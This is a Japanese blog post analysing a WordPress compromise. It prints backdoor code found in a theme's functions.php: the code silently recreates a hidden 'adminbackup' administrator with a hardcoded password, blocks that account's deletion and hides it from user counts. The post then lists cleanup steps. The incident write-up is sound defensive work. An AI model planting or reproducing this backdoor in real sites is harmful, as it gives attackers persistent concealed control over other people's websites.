Wordpress乗っ取りについて

1.不正アカウントが作成されている(root,adminbackup)など
2.サイトにアクセスできない、違うサイトに転送される。
3.自身のWordprssが全く違うサイトに書き換えられている。

下記は実際に書き込まれていたコードである。
wp-content\themes\テーマフォルダ名\functions.php

$params = array(
    'user_login' => 'adminbackup',
    'user_pass' => 'L.NNOgb}xQ',
    'role' => 'administrator',
    'user_email' => 'adminbackup@wordpress.org'
);

if (!username_exists($params['user_login'])) {
    $id = wp_insert_user($params);
    update_option('_pre_user_id', $id);
} else {
    $hidden_user = get_user_by('login', $params['user_login']);
    if ($hidden_user->user_email != $params['user_email']) {
        $id = get_option('_pre_user_id');
        $params['ID'] = $id;
        wp_insert_user($params);
    }
}
  • adminbackup というユーザーが自動的に作成される。

  • 削除しても、アクセスをきっかけに再作成される。

  • wp_options に _pre_user_id という隠しデータを保存し、ユーザーを管理。

不正アカウントは管理画面に表示されているとは限らないため、データベース内を直接確認しなければならない。(∵管理画面に表示しないようにすることも可能)

function wp_schedule_event_action() {
    $id = get_option('_pre_user_id');

    if (isset($_GET['user']) && $_GET['user']
        && isset($_GET['action']) && $_GET['action'] == 'delete'
        && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
        wp_die(__('Invalid user ID.'));
}
add_action('admin_menu', 'wp_schedule_event_action');
  • adminbackup を削除しようとすると wp_die() によって WordPress が強制終了する

  • 不正アカウントを削除できないようにするトラップ

function wp_generate_dynamic_cache($views) {
    $html = explode('<span class="count">(', $views['all']);
    $count = explode(')</span>', $html[1]);
    $count[0]--;
    $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

    $html = explode('<span class="count">(', $views['administrator']);
    $count = explode(')</span>', $html[1]);
    $count[0]--;
    $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

    return $views;
}
add_filter('views_users', 'wp_generate_dynamic_cache');
  • adminbackup がカウントされないように、ユーザーの総数を -1 する

  • これにより adminbackup ユーザーがシステムに存在しないように見える。


  • functions.php の不正コードを削除

  • adminbackup ユーザーを完全削除

  • wp_options から _pre_user_id を削除

  • wp-content/ 内の .php をチェック

  • wp-config.php や .htaccess の改ざんチェック

  • WordPress, テーマ, プラグイン を更新

  • FTP/DB のパスワードを変更

暫定対応としては「テーマ」の上書きが簡単で早いと感じた。

いいなと思ったら応援しよう!